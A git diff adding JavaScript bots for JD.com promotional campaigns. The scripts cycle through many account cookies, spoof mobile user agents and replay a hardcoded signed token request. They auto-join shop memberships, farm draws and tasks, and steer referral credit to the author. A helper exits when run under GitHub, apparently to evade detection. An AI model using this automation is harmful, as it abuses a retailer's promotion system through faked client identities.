'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie': cookie, + 'Host':'api.m.jd.com', + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard14.js b/backUp/gua_opencard14.js new file mode 100644 index 0000000..5f6fb43 --- /dev/null +++ b/backUp/gua_opencard14.js @@ -0,0 +1,810 @@ +/* +8.18-8.31 冰爽来袭 玩撞一夏 [gua_opencard14.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 (有可能没有豆 +开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购没有豆只获得游戏机会 (默认不加购 如需加购请设置环境变量[guaopencard_addSku14]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard14="true" +———————————————— +入口:[8.18-8.31 冰爽来袭 玩撞一夏 (https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=8461aaca3fd24c66a3674da99c5342eb&shareUuid=abcd4cabe50f48e6853acde2ebf7fd48)] +============Quantumultx=============== +[task_local] +#8.18-8.31 冰爽来袭 玩撞一夏 +18 9,22 18-31 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js, tag=8.18-8.31 冰爽来袭 玩撞一夏, enabled=true + +================Loon============== +[Script] +cron "18 9,22 18-31 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js,tag=8.18-8.31 冰爽来袭 玩撞一夏 + +===============Surge================= +8.18-8.31 冰爽来袭 玩撞一夏 = type=cron,cronexp="18 9,22 18-31 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js + +============小火箭========= +8.18-8.31 冰爽来袭 玩撞一夏 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js, cronexpr="18 9,22 18-31 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.18-8.31 冰爽来袭 玩撞一夏'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityCookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku14 ? process.env.guaopencard_addSku14 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku14') ? $.getdata('guaopencard_addSku14') : `${guaopencard_addSku}`); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard14 || process.env.guaopencard14 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard14]为"true"') + return + } + } + $.shareUuid = 'abcd4cabe50f48e6853acde2ebf7fd48' + $.activityId = '8461aaca3fd24c66a3674da99c5342eb' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.Token = '' + $.Pin = '' + await getCk() + await token() + await getToken(); + if($.Token == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.nickname = ''; + await getMyPing() + if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await accessLogWithAD() + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList3) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + if(checkOpenCardData && checkOpenCardData.score3 == 1) await startDraw(3) + $.log("浏览商品: " + $.visitSku) + if(!$.visitSku) await $.wait(1000) + for(let i of $.visitSkuList){ + if(i.status === 0){ + await saveTask('浏览商品', 5, i.value); + await insertCrmPageVisit("浏览商品"+i.value) + await writePersonInfo() + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)); + } + } + $.log("关注: " + $.followShop) + if(!$.followShop) await saveTask('关注', 23, 23); + if(!$.followShop) await $.wait(1000) + $.log("签到: " + $.sign) + if(!$.sign) await saveTask('签到', 0, 1000098686); + if(!$.sign) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku14]为"true"'); + if(!$.addSku && guaopencard_addSku == "true") await saveTask('加购', 21, 21); + if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) + await getActorUuid() + console.log(`共${$.score}清爽值 剩余${$.score1} ${$.score5}次游戏机会`) + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function writePersonInfo() { + return new Promise(resolve => { + let body = `jdActivityId=${$.jdActivityId}&pin=${encodeURIComponent($.Pin)}&actionType=5&venderId=0&activityId=${$.activityId}` + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function insertCrmPageVisit(elementId) { + return new Promise(resolve => { + let body = `venderId=${$.venderId}&elementId=${elementId}&pageId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/crm/pageVisit/insertCrmPageVisit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function saveTask(title, taskType, taskValue) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${taskValue}` + $.post(taskPostUrl('/dingzhi/openCard/summer/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.beanNub){ + msg = `${res.data.beanNub}京豆` + } + if(res.data.addscore){ + msg += ` ${res.data.addscore}清爽值` + } + if(res.data.addScore5){ + msg += ` ${res.data.addScore5}次游戏机会` + } + console.log(`${title}获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${title} ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/openCard/summer/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res !== 'object'){ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/openCard/summer/activityContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.sign.allStatus != 'undefined') $.sign = res.data.sign.allStatus + if(typeof res.data.visitSku.allStatus != 'undefined') $.visitSku = res.data.visitSku.allStatus + if(typeof res.data.visitSku.settings != 'undefined') $.visitSkuList = res.data.visitSku.settings + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + if(typeof res.data.score5 != 'undefined') $.score5 = res.data.score5 + if(typeof res.data.score != 'undefined') $.score = res.data.score + if(typeof res.data.score1 != 'undefined') $.score1 = res.data.score1 + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) 